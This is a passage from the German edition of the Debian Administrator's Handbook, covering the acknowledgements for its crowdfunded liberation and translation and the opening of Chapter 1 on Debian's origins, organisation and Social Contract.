Die Kampagne hatte zwei Ziele: 15.000 € für die Übersetzung aufzubringen und die Erhöhung eines Liberierungs-Fonds auf 25.000 €, um das fertige Buch unter einer freien Lizenz zu veröffentlichen — also einer Lizenz, die vollständig den Debian-Richtlinien für freie Software folgt.

Als die Ulele-Kampagne endete, war das erste Ziel mit 24.345 € erreicht. Der Liberierungs-Fonds war aber mit nur 14.935 € nicht vollständig. Wie ursprünglich angekündigt, wurde die Liberierungskampagne unabhängig von Ulele auf der offiziellen Website des Buches weitergeführt.

Während wir mit der Übersetzung des Buches beschäftigt waren, liefen weitere Spenden für die Liberierung ein … und im April 2012 war der Liberierungsfonds vollständig gefüllt. Deshalb können Sie von diesem Buch unter den Bedingungen einer freien Lizenz profitieren.

Wir möchten allen danken, die sich an einer der Spendenkampagnen beteiligt haben, entweder durch Geldzusagen oder durch das Verbreiten der Nachricht. Ohne sie hätten wir es nicht geschafft.

5.2.1. Unterstützende Firmen und Organisationen

Sehr zu unserer Freude bekamen wir bemerkenswerte Unterstützung von vielen Firmen und Organisationen, die freie Software mögen. Danke an Code Lutin,École Ouverte Francophone, Evolix, Fantini Bakery, FSF France, Offensive Security (die Firma hinter Kali Linux), Opensides, Proxmox Server Solutions GmbH, SSIELL (Société Solidaire d'Informatique En Logiciels Libres) und Syminet.

Wir möchten auch OMG! Ubuntu und April für ihre Hilfe bei der Förderung des Projekts danken.

5.2.2. Individuelle Unterstützer

Mit unseren über 650 Unterstützern in der ursprünglichen Spendenkampagne und vielen hundert mehr in der fortgesetzten Liberierungskampagne danken wir Leuten wie Ihnen, dass dieses Projekt möglich wurde. Herzlichen Dank!

Wir möchten uns besonders bei jenen bedanken, die mindestens 35 € (manchmal viel mehr!) in den Liberierungsfonds eingebracht haben. Wir freuen uns, dass so viele Menschen unsere Wertvorstellung von Freiheit teilen und der Meinung sind, dass wir einen Ausgleich für die Arbeit verdienen, die wir in das Projekt gesteckt haben.

So danken wir Alain Coron, Alain Thabaud, Alan Milnes, Alastair Sherringham, Alban Dumerain, Alessio Spadaro, Alex King, Alexandre Dupas, Ambrose Andrews, Andre Klärner, Andreas Olsson, Andrej Ricnik, Andrew Alderwick, Anselm Lingnau, Antoine Emerit, Armin F. Gnosa, Avétis Kazarian, Bdale Garbee, Benoit Barthelet, Bernard Zijlstra, Carles Guadall Blancafort, Carlos Horowicz — Planisys S.A., Charles Brisset, Charlie Orford, Chris Sykes, Christian Bayle, Christian Leutloff, Christian Maier, Christian Perrier, Christophe Drevet, Christophe Schockaert (R3vLibre), Christopher Allan Webber, Colin Ameigh, Damien Dubédat, Dan Pettersson, Dave Lozier, David Bercot, David James, David Schmitt, David Tran Quang Ty, Elizabeth Young, Fabian Rodriguez, Ferenc Kiraly, Frédéric Perrenot — Intelligence Service 001, Fumihito Yoshida, Gian-Maria Daffré, Gilles Meier, Giorgio Cittadini, Héctor Orón Martínez, Henry, Herbert Kaminski, Hideki Yamane, Hoffmann Information Services GmbH, Holger Burkhardt, Horia Ardelean, Ivo Ugrina, Jan Dittberner, Jim Salter, Johannes Obermüller, Jonas Bofjäll, Jordi Fernandez Moledo, Jorg Willekens, Joshua, Kastrolis Imanta, Keisuke Nakao, Kévin Audebrand, Korbinian Preisler, Kristian Tizzard, Laurent Bruguière, Laurent Hamel, Leurent Sylvain, Loïc Revest, Luca Scarabello, Lukas Bai, Marc Singer, Marcelo Nicolas Manso, Marilyne et Thomas, Mark Janssen — Sig-I/O Automatisering, Mark Sheppard, Mark Symonds, Mathias Bocquet, Matteo Fulgheri, Michael Schaffner, Michele Baldessari, Mike Chaberski, Mike Linksvayer, Minh Ha Duong, Moreau Frédéric, Morphium, Nathael Pajani, Nathan Paul Simons, Nicholas Davidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, Paolo Innocenti, Pascal Cuoq, Patrick Camelin, Per Carlson, Philip Bolting, Philippe Gauthier, Philippe Teuwen, PJ King, Praveen Arimbrathodiyil (j4v4m4n), Ralf Zimmermann, Ray McCarthy, Rich, Rikard Westman, Robert Kosch, Sander Scheepens, Sébastien Picard, Stappers, Stavros Giannouris, Steve-David Marguet, T. Gerigk, Tanguy Ortolo, Thomas Hochstein, Thomas Müller, Thomas Pierson, Tigran Zakoyan, Tobias Gruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark, Vincent Demeester, Vincent van Adrighem, Volker Schlecht, Werner Kuballa, Xavier Neys und Yazid Cassam Sulliman.

5.3. Die Befreiung des französischen Buches

Nach Veröffentlichung des englischen Buches unter einer Freien Software Lizenz waren wir in einer eigenartigen Situation: ein Freies Buch als eine Übersetzung eines nicht Freien Buchs (das ja immer noch kommerziell von Eyrolles vertrieben wurde).

Uns war klar, dass es nötig werden würde, Eyrolles zu überzeugen, dass eine Freie Lizenz den Erfolg des Buches fördern würde. Die Gelegenheit kam 2013, als wir über einen neuen Vertrag verhandeln mussten, um die Anpassungen für Debian 7 einzubringen. Weil die "Frei"-Setzung eines Buches oft die Verkaufszahlen eines Buches signifikant beeinflusst, stimmten wir dem Kompromiss einer Massenfinanzierungsrunde zu, um einige der innewohnenden Risiken abzudecken und einen Teil zu den Publikationskosten einer neuen Ausgabe beizutragen. Die Finanzierungsrunde wurde wiederum auf Ulule gestartet:

→ http://www.ulule.com/liberation-cahier-admin-debian/

Die Zielvorstellung lag bei €15.000 innerhalb von 30 Tagen. Es dauerte keine Woche dieses Ziel zu erreichen und am Ende hatten wir die Riesensumme von €25.518 von 721 Unterstützern eingeworben.

Wir bekamen bedeutende Beiträge von Unternehmen und Organisationen, die Freie Software unterstützen. Wir danken der Webseite LinuxFr.org website, Korben, Addventure, Eco-Cystèmes, ELOL SARL, and Linuvers. Vielen Dank an LinuxFr und Korben, die uns in bemerkenswerter Weise geholfen haben, die Informationen zu verbreiten.

Die Operation war ein großer Erfolg, weil hunderte von Menschen unsere Freiheitsprinzipien teilen und das mit ihrem Geld unterstützen. Dafür vielen Dank.

Besonderen Dank an jene, die 25€ über ihren Zeichnungsbetrag hinaus spendeten. Ihr Vertrauen in das Projekt ist schätzen wir sehr. Danke an Adrien Guionie, Adrien Ollier, Adrien Roger, Agileo Automation, Alban Duval, Alex Viala, Alexandre Dupas, Alexandre Roman, Alexis Bienvenüe, Anthony Renoux, Aurélien Beaujean, Baptiste Darthenay, Basile Deplante, Benjamin Cama, Benjamin Guillaume, Benoit Duchene, Benoît Sibaud, Bornet, Brett Ellis, Brice Sevat, Bruno Le Goff, Bruno Marmier, Cédric Briner, Cédric Charlet, Cédrik Bernard, Celia Redondo, Cengiz Ünlü, Charles Flèche, Christian Bayle, Christophe Antoine, Christophe Bliard, Christophe Carré, Christophe De Saint Leger, Christophe Perrot, Christophe Robert, Christophe Schockaert, Damien Escoffier, David Dellier, David Trolle, Davy Hubert, Decio Valeri, Denis Marcq, Denis Soriano, Didier Hénaux, Dirk Linnerkamp, Edouard Postel, Eric Coquard, Eric Lemesre, Eric Parthuisot, Eric Vernichon, Érik Le Blanc, Fabian Culot, Fabien Givors, Florent Bories, Florent Machen, Florestan Fournier, Florian Dumas, François Ducrocq, Francois Lepoittevin, François-Régis Vuillemin, Frédéric Boiteux, Frédéric Guélen, Frédéric Keigler, Frédéric Lietart, Gabriel Moreau, Gian-Maria Daffré, Grégory Lèche, Grégory Valentin, Guillaume Boulaton, Guillaume Chevillot, Guillaume Delvit, Guillaume Michon, Hervé Guimbretiere, Iván Alemán, Jacques Bompas, Jannine Koch, Jean-Baptiste Roulier, Jean-Christophe Becquet, Jean-François Bilger, Jean-Michel Grare, Jean-Sébastien Lebacq, Jérôme Ballot, Jerome Pellois, Johan Roussel, Jonathan Gallon, Joris Dedieu, Julien Gilles, Julien Groselle, Kevin Messer, Laurent Espitallier, Laurent Fuentes, Le Goût Du Libre, Ludovic Poux, Marc Gasnot, Marc Verprat, Marc-Henri Primault, Martin Bourdoiseau, Mathieu Chapounet, Mathieu Emering, Matthieu Joly, Melvyn Leroy, Michel Casabona, Michel Kapel, Mickael Tonneau, Mikaël Marcaud, Nicolas Bertaina, Nicolas Bonnet, Nicolas Dandrimont, Nicolas Dick, Nicolas Hicher, Nicolas Karolak, Nicolas Schont, Olivier Gosset, Olivier Langella, Patrick Francelle, Patrick Nomblot, Philippe Gaillard, Philippe Le Naour, Philippe Martin, Philippe Moniez, Philippe Teuwen, Pierre Brun, Pierre Gambarotto, Pierre-Dominique Perrier, Quentin Fait, Raphaël Enrici — Root 42, Rémi Vanicat, Rhydwen Volsik, RyXéo SARL, Samuel Boulier, Sandrine D'hooge, Sébasiten Piguet, Sébastien Bollingh, Sébastien Kalt, Sébastien Lardière, Sébastien Poher, Sébastien Prosper, Sébastien Raison, Simon Folco, Société Téïcée, Stéphane Leibovitsch, Stéphane Paillet, Steve-David Marguet, Sylvain Desveaux, Tamatoa Davio, Thibault Taillandier, Thibaut Girka, Thibaut Poullain, Thierry Jaouen, Thomas Etcheverria, Thomas Vidal, Thomas Vincent, Vincent Avez, Vincent Merlet, Xavier Alt, Xavier Bensemhoun, Xavier Devlamynck, Xavier Guillot, Xavier Jacquelin, Xavier Neys, Yannick Britis, Yannick Guérin und Yves Martin.

5.4. Ein besonderer Dank an die Mitwirkenden

Dieses Buch wäre nicht, was es ist, ohne die Mitwirkung von einigen Personen, die alle eine wichtige Rolle bei der Übersetzung und darüber hinaus gespielt haben. Wir möchten Marilyne Brun danken, die uns bei der Übersetzung des Beispielkapitels geholfen hat und mit uns zusammengearbeitet hat, um einige grundlegende Übersetzungsregeln zu definieren. Sie hat ebenso einige Kapitel überarbeitet, die es wirklich nötig hatten. Danke an Anthony Baldwin (von Baldwin Linguas), der einige Kapitel für uns übersetzt hat.

Wir haben auch von großzügiger Hilfe von Korrektoren profitiert: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens und Tom Syroid. Sie alle haben viele Kapitel kontrolliert. Herzlichen Dank!

Als dann die englische Version freigegeben war, bekamen wir natürlich eine Menge an Rückmeldungen, Vorschläge und Korrekturen von den Lesern und mehr noch von den unzähligen Teams, die sich an die Übersetzung des Buches in andere Sprachen machten. Danke!

Wir möchten uns auch bei den Lesern des französischen Buches bedanken, die uns mit ihren netten Zitaten gezeigt haben, dass dieses Buch es wert ist, übersetzt zu werden; Dank an Christian Perrier, David Bercot, Étienne Liétart und Gilles Roussi. Stefano Zacchiroli - der während der Finanzierungskampagne der Debian-Projektleiter war - verdient ebenso ein großes Danke, er befürwortete freundlicherweise das Projekt mit einem Zitat, das erklärte, dass freie (wie Freiheit) Bücher mehr als nötig sind.

Wenn Sie die Gelegenheit haben, diese Zeilen in einer Taschenbuchausgabe dieses Buches zu lesen, dann sollten Sie sich uns anschließen, Benoît Guillon, Jean-Côme Charpentier und Sébastien Mengin zu danken, die am inneren Design des Buches gearbeitet haben. Benoît ist der Upstream-Autor von dblatex - dem Werkzeug mit dem DocBook nach LaTeX (und dann PDF) konvertiert wird. Sébastien ist der Designer, der dieses schöne Layout erschaffen hat, und Jean-Côme ist der LaTeX-Spezialist, der das Stylesheet für dblatex eingebaut hat. Danke Jungs für all die harte Arbeit!

Schließlich ein Danke an Thierry Stempfel für die netten Bilder, die jedes Kapitel einleiten und Danke auch an Doru Patrascu für den schönen Buchumschlag.

5.5. Unser Dank gilt den Übersetzern

Seit das Buch frei gegeben wurde, haben sich viele Freiwillige daran gemacht, es in zahllose Sprachen zu übersetzen, wie Arabisch, brasilianisches Portugiesisch, Italienisch, Spanisch, usw. Sie finden die komplette Liste der Übersetzungen auf der Webseite zum Buch: http://debian-handbook.info/get/#other

Wir möchten all den Übersetzern und Rezensenten danken. Ihre Arbeit ist so wertvoll, weil sie Debian in die Hände von Millionen Menschen bringt, die nicht Englisch sprechen.

5.6. Persönliche Danksagungen von Raphaël

Ich möchte vor allem Nat Makarévitch danken, der mir die Möglichkeit gegeben hat, dieses Buch zu schreiben, und mir eine solide Orientierung während jenes Jahres gab, die das Buch brauchte, um fertig zu werden. Danke auch an Eyrolles und besonders an Muriel Shan Sei Fan. Sie war sehr geduldig mit mir und ich lernte viel von ihr.

Die Zeit der Ulule-Kampagnen war sehr anstrengend für mich, aber ich möchte jedem danken, der mitgeholfen hat, dass sie ein Erfolg werden, besonders dem Ulule-Team, das sehr schnell auf viele Anforderungen reagierte. Danke auch an alle, die diese Aktion beworben haben. Ich habe keine erschöpfende Liste (und wenn ich eine hätte, wäre sie wahrscheinlich zu lang), aber ich möchte ein paar Leuten danken, die direkten Kontakt mit mir hatten: Joey-Elijah Sneddon und Benjamin Humphrey von OMG! Ubuntu, Florent Zara von LinuxFr.org, Manu von Korben.info, Frédéric Couchet von April.org, Jake Edge von Linux Weekly News, Clement Lefebvre von Linux Mint, Ladislav Bodnar von Distrowatch, Steve Kemp von Debian-Administration.org, Christian Pfeiffer Jensen von Debian-News.net, Artem Nosulchik von LinuxScrew.com, Stephan Ramoin von Gandi.net, Matthew Bloch von Bytemark.co.uk, das Team bei Divergence FM, Rikki Kite von Linux New Media, Jono Bacon, die Marketingabteilung bei Eyrolles und die unzähligen anderen, die ich vergessen habe (Entschuldigung deswegen).

Einen besonderen Dank möchte ich an Roland Mas senden, meinen Co-Autor. Wir haben von Anfang an bei diesem Buch zusammengearbeitet und er war immer bereit für diese Herausforderung. Und ich muss sagen, die Fertigstellung des Debian-Administratorenhandbuches war eine Menge Arbeit …

Last but not least: Danke an meine Frau Sophie. Sie war sehr hilfreich während meiner Arbeit an diesem Buch oder an Debian im Allgemeinen. Es waren zu viele Tage (und Nächte,) an denen ich sie allein mit unseren zwei Söhnen gelassen habe, um am Buch weiterzuarbeiten. Ich bin dankbar für ihre Unterstützung und ich weiß, wie viel Glück ich habe, sie zu haben.

5.7. Persönliche Danksagungen von Roland

Nun, Raphaël hat die meisten meiner "externen" Danksagungen ja bereits abgehandelt. Ich möchte aber trotzdem meinen persönlichen Dank für die guten Leute bei Eyrolles hervorheben, mit ihnen war die Zusammenarbeit immer freundlich und reibungslos. Ich hoffe, dass die Ergebnisse ihrer hervorragenden Ratschläge nicht bei der Übersetzung verloren gingen.

Ich bin Raphaël auch sehr dankbar dafür, den verwaltungstechnischen Teil der englischen Ausgabe zu übernommen zu haben. Angefangen bei der Finanzierungskampagne bis hin zum letzten Detail im Layout des Buches, Übersetzen ist so viel mehr als nur Übersetzen und Kontrollieren, und Raphaël übernahm (oder delegierte und überwachte) das alles. Danke.

Danke auch an alle, die mehr oder weniger direkt zu diesem Buch beigetragen haben, durch Klarstellungen oder Erklärungen oder durch Übersetzungsratschläge. Es wären zu viele zu erwähnen, die meisten von ihnen kann man auf den verschiedenen #debian-*-IRC-Kanälen finden.

Natürlich gibt es Überschneidungen mit den bereits erwähnten Leuten, aber ein spezielles Danke ist bestimmt angebracht für die Leute, die zurzeit an Debian arbeiten. Es gäbe nicht viel von einem Buch ohne sie, und ich bin immer noch beeindruckt von dem, was das Debian-Projekt als Gesamtheit produziert und für jeden und alle bereitstellt.

Ein mehr persönliches Dankeschön geht an meine Freunde und Kunden für ihr Verständnis, wenn ich weniger schnell reagieren konnte, weil ich an diesem Buch arbeitete, und für ihre ständige Unterstützung, ihre Aufmunterungen und Herausforderungen. Ihr wisst, wer gemeint ist, Danke.

Abschließend (ich bin sicher, sie sind erstaunt, sich hier zu finden) möchte ich meinen Dank auf Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson und natürlich dem späten Douglas Adams ausdehnen. Die unzähligen Stunden, die ich damit verbracht habe, ihre Bücher zu genießen, sind direkt dafür verantwortlich, dass ich in der Lage war, zuerst bei der Übersetzung dieses Buches mitzuarbeiten und später neue Teile zu verfassen.

Kapitel 1. Das Debian-Projekt

Lassen Sie uns, bevor wir in die Materie eintauchen, ansehen, was das Debian-Projekt ist: seine Ziele, seine Mittel, seine Arbeitsabläufe.

1.1. Was ist Debian?

KULTUR Ursprung des Namens Debian

Debian ist kein Akronym. Der Name ist vielmehr ein Zusammenzug zweier Vornamen: derjenigen von Ian Murdock und seiner damaligen Freundin Debra: Debra + Ian = Debian.

Debian ist eine GNU/Linux-Distribution. Im Kapitel Abschnitt 1.5, „Die Rolle der Distributionen“ werden wir näher darauf eingehen, was eine Distribution ist. Jetzt halten wir nur fest, dass es ein vollständiges Betriebssystem ist, welches Programme und Systeme für Installation und Verwaltung enthält, die alle auf dem Linux-Kernel und auf freier Software beruhen (vor allem solche aus dem GNU-Projekt).

Als Ian Murdock 1993 Debian unter der Führung der FSF ins Leben rief, hatte er klare Ziele, die er im Debian Manifesto vorstellte. Das freie Betriebssystem, das er anstrebte, sollte zwei Hauptmerkmale haben. Erstens Qualität: Debian sollte äußerst sorgfältig entwickelt werden, um des Linux-Kernels würdig zu sein. Es sollte außerdem eine nicht kommerzielle Distribution sein, und zwar hinreichend zuverlässig, um sich mit größeren kommerziellen Distributionen messen zu können. Diese doppelte Zielsetzung konnte seiner Meinung nach nur dadurch erreicht werden, dass der Entwicklungsprozess für Debian in gleicher Weise wie bei Linux und dem GNU-Projekt geöffnet würde. So würde gegenseitige Begutachtung durch Kollegen das Produkt fortlaufend verbessern.

KULTUR GNU, das Projekt der FSF

Das GNU-Projekt ist eine Sammlung freier Software, entwickelt und unterstützt von der Free Software Foundation (FSF), die von ihrem charismatischen Leiter Dr. Richard M. Stallman gegründet wurde. GNU ist ein rekursives Akronym, das „GNU is Not UNIX” bedeutet.

KULTUR Richard Stallman

Der Gründer der FSF und Autor der GPL-Lizenz, Richard M. Stallman (häufig mit seinen Initialen als RMS bezeichnet), ist ein charismatischer Führer der Bewegung der freien Software. Aufgrund seiner kompromisslosen Einstellungen ist er nicht unumstritten, aber seine nicht technischen Beiträge zur freien Software (besonders auf der rechtlichen und der philosophischen Ebene) werden von allen respektiert.

1.1.1. Ein Multi-Plattform-Betriebssystem

GEMEINSCHAFT Ian Murdocks Weg

Ian Murdock, Gründer des Debian-Projekts, war von 1993 bis 1996 sein erster Leiter. Nachdem er den Stab an Bruce Perens übergeben hatte, übernahm er eine weniger öffentliche Rolle. Er arbeitete wieder hinter den Kulissen der Community, die sich für freie Software einsetzt, und gründete die Firma Progeny in der Absicht, eine von Debian abgeleitete Distribution zu vermarkten. Dieses Unterfangen war leider ein kommerzieller Misserfolg, und die Weiterentwicklung wurde aufgegeben. Nach mehreren Jahren des Dahinvegetierens als Service Provider meldete das Unternehmen im April 2007 schließlich Insolvenz an. Von den zahlreichen durch Progeny initiierten Projekten ist nur noch discover übrig geblieben. Es ist ein Hilfsprogramm zur automatischen Hardwareerkennung.

Debian, das seinen ursprünglichen Grundsätzen immer treu geblieben ist, hatte so viel Erfolg, dass es heute einen riesigen Umfang erreicht hat. Die zwölf angebotenen Architekturen umfassen zehn Hardwarearchitekturen und zwei Kernel (Linux und FreeBSD). Dabei ist anzumerken, dass die FreeBSD-basierenden Teile nicht zum offiziell unterstützten Teil der Distribution zählt. Darüber hinaus kann die vorhandene Software mit mehr als 21.000 Quellpaketen fast jeden denkbaren Bedarf abdecken, sowohl zu Hause als auch im Unternehmen.

Diese Großzügigkeit artet manchmal zu einem überreichen Angebot aus: Es ist nicht sinnvoll, 84 CD-ROM zu vertreiben, um eine vollständige Version auf einem Standard-Rechner zu installieren ... Daher sehen wir Debian in zunehmendem Maße als „Meta-Distribution“ an, aus der man spezifische Distributionen entnimmt, die für eine bestimmte Zielgruppe gedacht sind: Debian-Desktop für den traditionellen Einsatz im Büro, Debian-Edu für Bildung und pädagogische Nutzung in einem akademischen Umfeld, Debian-Med für medizinische Anwendungen, Debian-Junior für Kinder usw. Eine ausführlichere Liste der Unterprojekte finden Sie im Abschnitt, der diesem Thema gewidmet ist: Abschnitt 1.3.3.1, „Bestehende Debian-Unterprojekte“.

Diese Bereiche sind in einem klar definierten Rahmen so angeordnet, dass eine problemlose Kompatibilität zwischen den verschiedenen „Sub-Distributionen“ gewährleistet ist. Sie alle folgen dem allgemeinen Zeitplan für die Veröffentlichung neuer Versionen. Und da sie auf derselben Grundlage aufbauen, können sie leicht mit Anwendungen aus den Debian-Depots erweitert, vervollständigt und personalisiert werden.

Alle Debian-Werkzeuge arbeiten in diese Richtung: debian-cd ermöglicht seit Langem die Erstellung eines CD-ROM-Sets mit ausschließlich vorausgewählten Paketen; debian-installer ist auch ein modulares Installationsprogramm, das einfach an besondere Bedürfnisse angepasst werden kann. APT installiert Pakete unterschiedlichen Ursprungs und stellt dabei den Gesamtzusammenhalt des Systems sicher.

HILFSPROGRAMM Eine Debian-CD-ROM erstellen

debian-cd erstellt gebrauchsfertige ISO-Abbilder für Installationsmedien (CD,DVD,Blu-Ray,etc). Alle Anliegen bezüglich dieser Software werden auf der Mailingliste <debian-cd@lists.debian.org> (auf Englisch) diskutiert. Das Team wird von Steve McIntyre geführt, der die offiziellen Debian ISO builds anfertigt.

ZURÜCK ZU DEN GRUNDLAGEN Jedem Rechner seine Architektur

Der Begriff „Architektur“ bezeichnet einen Computertyp (die bekanntesten sind Mac und PC). Jede Architektur unterscheidet sich hauptsächlich durch ihren Prozessor, der zu anderen Prozessoren normalerweise nicht kompatibel ist. Diese Unterschiede in der Hardware bringen verschiedene Betriebsweisen mit sich und machen es daher erforderlich, dass Software für jede Architektur eigens kompiliert wird.

Die meisten der in Debian vorhandenen Programme sind in portablen Programmiersprachen geschrieben: Derselbe Quellcode kann auf verschiedene Architekturen kompiliert werden. Dagegen wird eine ausführbare Binärdatei, die immer für eine bestimmte Architektur kompiliert ist, normalerweise nicht auf einer anderen Architektur laufen.

Erinnern Sie sich daran, dass jedes Programm durch das Schreiben von Quellcode erstellt wird. Dieser Quellcode ist eine Textdatei, die aus Anweisungen in einer bestimmten Programmiersprache besteht. Bevor Sie diese Software verwenden können, muss der Quellcode kompiliert werden. Das bedeutet, dass der Code in eine Binärdatei (eine Folge von maschinenlesbaren Befehlen, die der Prozessor ausführen kann) umgewandelt wird. Jede Programmiersprache hat einen bestimmten Compiler, der diese Operation ausführt (zum Beispiel gcc für die Programmiersprache C).

HILFSPROGRAMM Installationsprogramm

debian-installer ist der Name des Debian-Installationsprogramms. Durch sein modulares Design ist es möglich, ihn in einem weiten Bereich von Installationsszenarien einzusetzen. Die Arbeit an seiner Entwicklung wird auf der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Cyril Brulebois koordiniert.

1.1.2. Die Qualität freier Software

Debian befolgt alle Prinzipien freier Software, und seine neuen Versionen werden erst veröffentlicht, wenn sie fertig sind. Entwickler werden nicht durch einen vorgegebenen Zeitplan gezwungen, einen willkürlich gesetzten Fertigstellungstermin einzuhalten. Oft beschweren sich Leute über den langen Zeitraum zwischen Debians stabilen Versionen, aber diese Sorgfalt gewährleistet auch seine legendäre Zuverlässigkeit: In der Tat sind monatelange Überprüfungen erforderlich, bevor die vollständige Distribution das Etikett „stabil“ erhält.

Debian geht bei der Qualität keine Kompromisse ein: Alle bekannten kritischen Fehler werden in jeder neuen Version behoben, auch wenn hierdurch der ursprünglich angekündigte Veröffentlichungstermin verschoben werden muss.

1.1.3. Der rechtliche Rahmen: eine gemeinnützige Organisation

Rechtlich gesehen ist Debian ein Projekt, das von einer amerikanischen gemeinnützigen Freiwilligenvereinigung verwaltet wird. Das Projekt hat etwa tausend Debian-Entwickler, vereinigt aber eine weit größere Anzahl von Mitwirkenden (Übersetzer, Bug-Reporter, Künstler, Gelegenheitsprogrammierer usw.).

Um seinen Auftrag verwirklichen zu können, verfügt Debian über eine große Infrastruktur mit vielen über das Internet verbundenen Servern, die von zahlreichen Sponsoren zur Verfügung gestellt werden.

GEMEINSCHAFT Hinter Debian: die SPI-Vereinigung und lokale Außenstellen

Debian selbst besitzt keine Server, da es nur ein Projekt innerhalb der Software in the Public Interest Organisation (SPI) ist, die sich um die Verwaltung der Hardware und um finanzielle Fragen (Spenden, Anschaffung von Hardware usw.) kümmert. Obwohl sie ursprünglich eigens für das Debian-Projekt gegründet worden war, ist diese Organisation inzwischen auch an anderen Freie-Software-Projekten beteiligt, insbesondere der PostgreSQL-Datenbank, an Freedesktop.org (einem Projekt zur Standardisierung verschiedener Teile moderner grafischer Arbeitsumgebungen wie zum Beispiel GNOME und KDE) und dem Büropaket Libre Office.

→ http://www.spi-inc.org/

Neben SPI arbeiten auch diverse lokale Vereinigungen eng mit Debian zusammen, um Geldmittel bereitzustellen, ohne dabei alles in den USA zu zentralisieren. Diese heissen im Debian Jargon “Trusted Organizations”. Mit dieser Struktur werden unerschwingliche Kosten für internationale Überweisungen vermieden, und sie passt gut zum dezentralen Charakter des Projekts.

Die Liste dieser "Trusted Organisations" ist ziemlich kurz, es gibt sehr viel mehr Debian-nahe Gemeinschaften, die sich die Förderung von Debian zum Ziel gesetzt haben: Debian France, Debian-ES, debian.ch und andere auf der ganzen Welt. Scheuen Sie sich nicht, Ihrer lokalen Gemeinschaft beizutreten und das Projekt zu unterstützen!

→ http://wiki.debian.org/Teams/Auditor/Organizations

→ http://france.debian.net/

→ http://www.debian-es.org/

→ http://debian.ch/

1.2. Die Gründungsurkunde

Einige Jahre nach seinem ursprünglichen Start formulierte Debian die Prinzipien, denen es als Projekt für freie Software folgen wollte. Dieser wohlüberlegte Schritt ermöglicht geordnetes und friedliches Wachstum, indem er sicherstellt, dass sich alle Mitglieder in dieselbe Richtung bewegen. Um Debian-Entwickler zu werden, muss jeder Kandidat die Unterstützung und die Einhaltung der in den Grundlagendokumenten des Projekts festgelegten Prinzipien bestätigen und nachweisen.

Der Entwicklungsprozess wird ständig diskutiert, aber diese Grundlagendokumente erfahren breite und einvernehmliche Unterstützung und ändern sich daher nur selten. Die Debian-Verfassung bietet eine weitere Gewähr für seine Stabilität: Eine qualifizierte Dreiviertelmehrheit ist erforderlich, um eine Änderung zu genehmigen.

1.2.1. Die Verpflichtung gegenüber den Benutzern

Das Projekt verfügt auch über einen „Gesellschaftsvertrag“. Was hat ein solcher Vertrag in einem Projekt zu suchen, das nur dazu gedacht ist, ein Betriebssystem zu entwickeln? Ganz einfach: Debian arbeitet für seine Benutzer und damit auch für die Gesellschaft. Dieser Vertrag fasst die Verpflichtungen zusammen, die das Projekt eingeht. Lassen Sie sie uns näher betrachten:

1. Debian wird zu 100% frei bleiben.
Dies ist die wichtigste Regel. Debian besteht und wird weiterhin vollständig und ausschließlich aus freier Software bestehen. Zusätzlich wird auch alle Softwareentwicklung innerhalb des Debian-Projekts selbst frei sein.

AUSBLICK Über die Software hinaus

In der ersten Version des Debian-Gesellschaftsvertrags hieß es: „Debian wird zu 100% freie Software bleiben.“ Das Verschwinden des Wortes „Software“ (mit Verabschiedung der Version 1.1 des Vertrages im April 2004) lässt die Absicht erkennen, Freiheit nicht nur bei der Software zu erreichen, sondern auch bei der Dokumentation und allen anderen Bestandteilen, die Debian innerhalb seines Betriebssystems zur Verfügung stellen möchte.

Diese Änderung, die nur als redaktionell gedacht war, hatte tatsächlich zahlreiche Konsequenzen, insbesondere die Entfernung einiger problematischer Dokumentationen. Darüber hinaus führt die steigende Verwendung von Firmware in Treibern zu Problemen: Obwohl viele nicht frei sind, sind sie für die ordnungsgemäße Funktion der entsprechenden Hardware notwendig.

2. Wir werden der Gemeinschaft, die freie Software entwickelt, etwas zurückgeben.
Jede vom Debian-Projekt eingebrachte Verbesserung eines in der Distribution enthaltenen Werkes wird seinem Autor zurückgesendet (dies wird „upstream“ genannt; übersetzt etwa „stromaufwärts“). Überhaupt arbeitet Debian mit der Gemeinschaft zusammen und nicht isoliert.

GEMEINSCHAFT Upstream-Autor oder Debian-Entwickler?

Der Begriff „Upstream-Autor“ bezeichnet den Autor/Entwickler eines Werkes, also denjenigen, der das Werk erstellt und weiterentwickelt. Demgegenüber arbeitet ein „Debian-Entwickler“ mit einem bestehenden Werk, um es zu einem Debian-Paket zu machen. Der Begriff „Debian-Betreuer“ passt hier besser.

Häufig ist in der Praxis keine genaue Abgrenzung möglich. Auch ein Debian-Betreuer kann einen Patch schreiben, von dem alle Nutzer des Werkes profitieren. Debian ermutigt generell alle Paketverantwortlichen, auch an der Upstream-Entwicklung mitzuarbeiten. Sie werden in diesem Fall zu „Mitwirkenden“ (contributors), ohne auf die einfache Rolle eines Programmnutzers beschränkt zu sein.

3. Wir werden Probleme nicht verbergen.
Debian ist keineswegs perfekt, und wir werden jeden Tag neue Probleme finden, die es zu lösen gilt. Wir werden unsere Fehlerdatenbank für alle Zeiten öffentlich betreiben. Fehlermeldungen, die von Personen online abgeschickt werden, werden unverzüglich für andere sichtbar.

4. Unsere Prioritäten sind unsere Anwender und freie Software.
Diese Verpflichtung ist schwieriger zu erklären. Debian führt damit bei Entscheidungen, die gefällt werden müssen, eine bestimmte Einseitigkeit ein, nämlich eine für die Entwickler einfache Lösung zurückzuweisen, die die Benutzerfreundlichkeit gefährdet, und sich stattdessen für eine elegantere Lösung zu entscheiden, selbst wenn diese schwieriger umzusetzen ist. Dies bedeutet, dass vorrangig die Interessen der Anwender und der freien Software berücksichtigt werden.

5. Arbeiten, die nicht unseren Standards für freie Software genügen.
Debian akzeptiert und versteht, dass Anwender häufig unfreie Programme nutzen möchten. Deshalb erlaubt das Projekt ihnen die Nutzung von Teilen seiner Infrastruktur, um auch nicht freie Software sicher als Debian-Paket verteilen zu können.

GEMEINSCHAFT Für oder gegen den unfreien Bereich?

Die Zusage, eine Struktur zur Unterbringung unfreier Software zu unterhalten (nämlich im Bereich „non-free“, siehe Seitenleiste WÖRTERVERZEICHNIS Die main, contrib und non-free Archive) ist in der Debian-Gemeinschaft immer wieder Diskussionsthema.

